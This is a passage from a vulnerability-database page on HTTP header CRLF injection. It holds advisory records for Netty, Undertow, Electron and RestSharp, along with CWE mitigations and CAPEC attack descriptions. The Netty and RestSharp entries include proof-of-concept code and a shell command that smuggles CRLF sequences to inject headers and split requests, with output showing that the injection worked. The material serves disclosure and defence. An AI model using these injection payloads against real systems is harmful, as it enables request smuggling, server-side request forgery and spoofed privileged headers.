encoded.split(\"\\n\", -1)) {\n System.out.println(\" \" + line.replace(\"\\r\", \"\\\\r\"));\n }\n System.out.println(\"Injected X-Admin: \" + encoded.contains(\"X-Admin: true\"));\n System.out.println(\"VULNERABLE: \" +\n (encoded.contains(\"X-Admin: true\") ? \"YES\" : \"NO\"));\n }\n}\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HttpProxyHandler Header Injection PoC ===\n\n[TEST 1] outboundHeaders with CRLF (validation disabled)\n----------------------------------------------------------\n Injected header value: \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\"\n Header accepted: YES (validation disabled!)\n Wire format:\n CONNECT target.com:443 HTTP/1.1\\r\n host: target.com:443\\r\n X-Forwarded-For: 1.2.3.4\\r\n X-Forwarded-For: 127.0.0.1\\r \u003c-- INJECTED\n X-Admin: true\\r \u003c-- INJECTED\n \\r\n\n Injected X-Admin header in wire: true\n VULNERABLE: YES\n\n[TEST 2] validation=true vs validation=false comparison\n--------------------------------------------------------\n With validation=true:\n SAFE: Rejected - IllegalArgumentException\n With validation=false:\n VULNERABLE: Accepted CRLF in header value!\n Stored value contains CRLF: true\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Remove withValidation(false)\n\n```java\n// Change HttpProxyHandler.java line 176 from:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);\n// To:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();\n```\n\n### Option 2: Validate outboundHeaders Before Adding\n\n```java\nif (outboundHeaders != null) {\n for (Map.Entry\u003cString, String\u003e entry : outboundHeaders) {\n HttpUtil.validateHeaderValue(entry.getValue());\n }\n req.headers().add(outboundHeaders);\n}\n```\n\n## 8. Resources\n\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (**incomplete fix \u2014 this report**)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)",
"id": "GHSA-45q3-82m4-75jr",
"modified": "2026-05-14T20:40:54Z",
"published": "2026-05-07T00:11:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-84h7-rjj3-6jx4"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)"
}
GHSA-47MP-RQ2X-WJF2
Vulnerability from github – Published: 2022-05-13 01:14 – Updated: 2022-06-30 13:49In Undertow before versions 7.1.2.CR1, 7.1.2.GA it was found that the fix for CVE-2016-4993 was incomplete and Undertow web server is vulnerable to the injection of arbitrary HTTP headers, and also response splitting, due to insufficient sanitization and validation of user input before the input is used as part of an HTTP header value.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.1.1.GA"
},
"package": {
"ecosystem": "Maven",
"name": "org.jboss.eap:wildfly-undertow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.1.2.GA"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-1067"
],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-30T13:49:55Z",
"nvd_published_at": "2018-05-21T17:29:00Z",
"severity": "MODERATE"
},
"details": "In Undertow before versions 7.1.2.CR1, 7.1.2.GA it was found that the fix for CVE-2016-4993 was incomplete and Undertow web server is vulnerable to the injection of arbitrary HTTP headers, and also response splitting, due to insufficient sanitization and validation of user input before the input is used as part of an HTTP header value.",
"id": "GHSA-47mp-rq2x-wjf2",
"modified": "2022-06-30T13:49:55Z",
"published": "2022-05-13T01:14:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1067"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:1247"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:1248"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:1249"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:1251"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2643"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:0877"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-1067"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Improper Neutralization of CRLF Sequences in HTTP Headers in Undertow"
}
GHSA-4P4R-M79C-WQ3V
Vulnerability from github – Published: 2026-04-03 02:37 – Updated: 2026-04-06 23:10Impact
Apps that register custom protocol handlers via protocol.handle() / protocol.registerSchemesAsPrivileged() or modify response headers via webRequest.onHeadersReceived may be vulnerable to HTTP response header injection if attacker-controlled input is reflected into a response header name or value.
An attacker who can influence a header value may be able to inject additional response headers, affecting cookies, content security policy, or cross-origin access controls.
Apps that do not reflect external input into response headers are not affected.
Workarounds
Validate or sanitize any untrusted input before including it in a response header name or value.
Fixed Versions
41.0.340.8.339.8.338.8.6
For more information
If there are any questions or comments about this advisory, send an email to security@electronjs.org
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "38.8.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "39.0.0-alpha.1"
},
{
"fixed": "39.8.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "40.0.0-alpha.1"
},
{
"fixed": "40.8.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "41.0.0-alpha.1"
},
{
"fixed": "41.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34767"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-74"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T02:37:24Z",
"nvd_published_at": "2026-04-04T00:16:17Z",
"severity": "MODERATE"
},
"details": "### Impact\nApps that register custom protocol handlers via `protocol.handle()` / `protocol.registerSchemesAsPrivileged()` or modify response headers via `webRequest.onHeadersReceived` may be vulnerable to HTTP response header injection if attacker-controlled input is reflected into a response header name or value.\n\nAn attacker who can influence a header value may be able to inject additional response headers, affecting cookies, content security policy, or cross-origin access controls.\n\nApps that do not reflect external input into response headers are not affected.\n\n### Workarounds\nValidate or sanitize any untrusted input before including it in a response header name or value.\n\n### Fixed Versions\n* `41.0.3`\n* `40.8.3`\n* `39.8.3`\n* `38.8.6`\n\n### For more information\nIf there are any questions or comments about this advisory, send an email to [security@electronjs.org](mailto:security@electronjs.org)",
"id": "GHSA-4p4r-m79c-wq3v",
"modified": "2026-04-06T23:10:30Z",
"published": "2026-04-03T02:37:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/electron/electron/security/advisories/GHSA-4p4r-m79c-wq3v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34767"
},
{
"type": "PACKAGE",
"url": "https://github.com/electron/electron"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Electron: HTTP Response Header Injection in custom protocol handlers and webRequest"
}
GHSA-4RR6-2V9V-WCPC
Vulnerability from github – Published: 2024-08-29 19:30 – Updated: 2024-10-01 21:48Summary
The second argument to RestRequest.AddHeader (the header value) is vulnerable to CRLF injection. The same applies to RestRequest.AddOrUpdateHeader and RestClient.AddDefaultHeader.
Details
The way HTTP headers are added to a request is via the HttpHeaders.TryAddWithoutValidation method: https://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32 This method does not check for CRLF characters in the header value.
This means that any headers from a RestSharp.RequestHeaders object are added to the request in such a way that they are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.
PoC
The below example code creates a console app that takes one command line variable "api key" and then makes a request to some status page with the provided key inserted in the "Authorization" header:
using RestSharp;
class Program
{
static async Task Main(string[] args)
{
// Usage: dotnet run <api key>
var key = args[0];
var options = new RestClientOptions("http://insert.some.site.here");
var client = new RestClient(options);
var request = new RestRequest("/status", Method.Get).AddHeader("Authorization", key);
var response = await client.ExecuteAsync(request);
Console.WriteLine($"Status: {response.StatusCode}");
Console.WriteLine($"Response: {response.Content}");
}
}
This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):
anonymous@ubuntu-sofia-672448:~$ dotnet RestSharp-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here'
Status: OK
Response: <html></html>
The application intends to send a single request of the form:
GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: <api key>
User-Agent: RestSharp/111.4.1.0
Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml
Accept-Encoding: gzip, deflate, br
But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:
GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: test
User-Agent: injected header!
and
GET /smuggled HTTP/1.1
Host: insert.some.site.here
User-Agent: RestSharp/111.4.1.0
Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml
Accept-Encoding: gzip, deflate, br
This can be confirmed by checking the access logs on the server where these commands were run (with insert.some.site.here pointing to localhost):
anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log
127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!"
127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "RestSharp/111.4.1.0"
Impact
If an application using the RestSharp library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.
Strictly speaking this is a potential vulnerability in applications using RestSharp, not in RestSharp itself, but I would argue that at the very least there needs to be a warning about this behaviour in the RestSharp documentation.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "RestSharp"
},
"ranges": [
{
"events": [
{
"introduced": "107.0.0-preview.1"
},
{
"fixed": "112.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-45302"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-74",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-29T19:30:51Z",
"nvd_published_at": "2024-08-29T22:15:05Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe second argument to `RestRequest.AddHeader` (the header value) is vulnerable to CRLF injection. The same applies to `RestRequest.AddOrUpdateHeader` and `RestClient.AddDefaultHeader`.\n\n### Details\nThe way HTTP headers are added to a request is via the `HttpHeaders.TryAddWithoutValidation` method: \u003chttps://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32\u003e This method does not check for CRLF characters in the header value.\n\nThis means that any headers from a `RestSharp.RequestHeaders` object are added to the request in such a way that they are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.\n\n### PoC\nThe below example code creates a console app that takes one command line variable \"api key\" and then makes a request to some status page with the provided key inserted in the \"Authorization\" header:\n\n```c#\nusing RestSharp;\n\nclass Program\n{\n static async Task Main(string[] args)\n {\n // Usage: dotnet run \u003capi key\u003e\n var key = args[0];\n var options = new RestClientOptions(\"http://insert.some.site.here\");\n var client = new RestClient(options);\n var request = new RestRequest(\"/status\", Method.Get).AddHeader(\"Authorization\", key);\n var response = await client.ExecuteAsync(request);\n Console.WriteLine($\"Status: {response.StatusCode}\");\n Console.WriteLine($\"Response: {response.Content}\");\n }\n}\n```\n\nThis application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):\n\n```bash\nanonymous@ubuntu-sofia-672448:~$ dotnet RestSharp-cli.dll $\u0027test\\r\\nUser-Agent: injected header!\\r\\n\\r\\nGET /smuggled HTTP/1.1\\r\\nHost: insert.some.site.here\u0027\nStatus: OK\nResponse: \u003chtml\u003e\u003c/html\u003e\n```\n\nThe application intends to send a single request of the form:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: \u003capi key\u003e\nUser-Agent: RestSharp/111.4.1.0\nAccept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml\nAccept-Encoding: gzip, deflate, br\n```\nBut as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: test\nUser-Agent: injected header!\n```\nand\n```http\nGET /smuggled HTTP/1.1\nHost: insert.some.site.here\nUser-Agent: RestSharp/111.4.1.0\nAccept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml\nAccept-Encoding: gzip, deflate, br\n```\n\nThis can be confirmed by checking the access logs on the server where these commands were run (with `insert.some.site.here` pointing to localhost):\n```bash\nanonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log\n127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] \"GET /status HTTP/1.1\" 200 240 \"-\" \"injected header!\"\n127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] \"GET /smuggled HTTP/1.1\" 404 436 \"-\" \"RestSharp/111.4.1.0\"\n```\n\n### Impact\nIf an application using the RestSharp library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.\n\nStrictly speaking this is a potential vulnerability in applications using RestSharp, not in RestSharp itself, but I would argue that at the very least there needs to be a warning about this behaviour in the RestSharp documentation.\n\n",
"id": "GHSA-4rr6-2v9v-wcpc",
"modified": "2024-10-01T21:48:41Z",
"published": "2024-08-29T19:30:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/restsharp/RestSharp/security/advisories/GHSA-4rr6-2v9v-wcpc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45302"
},
{
"type": "WEB",
"url": "https://github.com/restsharp/RestSharp/commit/0fba5e727d241b1867bd71efc912594075c2934b"
},
{
"type": "PACKAGE",
"url": "https://github.com/restsharp/RestSharp"
},
{
"type": "WEB",
"url": "https://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "CRLF Injection in RestSharp\u0027s `RestRequest.AddHeader` method"
}
Mitigation
Strategy: Input Validation
Construct HTTP headers very carefully, avoiding the use of non-validated input data.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. If an input does not strictly conform to specifications, reject it or transform it into something that conforms.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-30
Strategy: Output Encoding
Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
Mitigation MIT-20
Strategy: Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
CAPEC-105: HTTP Request Splitting
An adversary abuses the flexibility and discrepancies in the parsing and interpretation of HTTP Request messages by different intermediary HTTP agents (e.g., load balancer, reverse proxy, web caching proxies, application firewalls, etc.) to split a single HTTP request into multiple unauthorized and malicious HTTP requests to a back-end HTTP agent (e.g., web server).
See CanPrecede relationships for possible consequences.
CAPEC-31: Accessing/Intercepting/Modifying HTTP Cookies
This attack relies on the use of HTTP Cookies to store credentials, state information and other critical data on client systems. There are several different forms of this attack. The first form of this attack involves accessing HTTP Cookies to mine for potentially sensitive data contained therein. The second form involves intercepting this data as it is transmitted from client to server. This intercepted information is then used by the adversary to impersonate the remote user/session. The third form is when the cookie's content is modified by the adversary before it is sent back to the server. Here the adversary seeks to convince the target server to operate on this falsified information.
CAPEC-34: HTTP Response Splitting
An adversary manipulates and injects malicious content, in the form of secret unauthorized HTTP responses, into a single HTTP response from a vulnerable or compromised back-end HTTP agent (e.g., web server) or into an already spoofed HTTP response from an adversary controlled domain/site.
See CanPrecede relationships for possible consequences.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.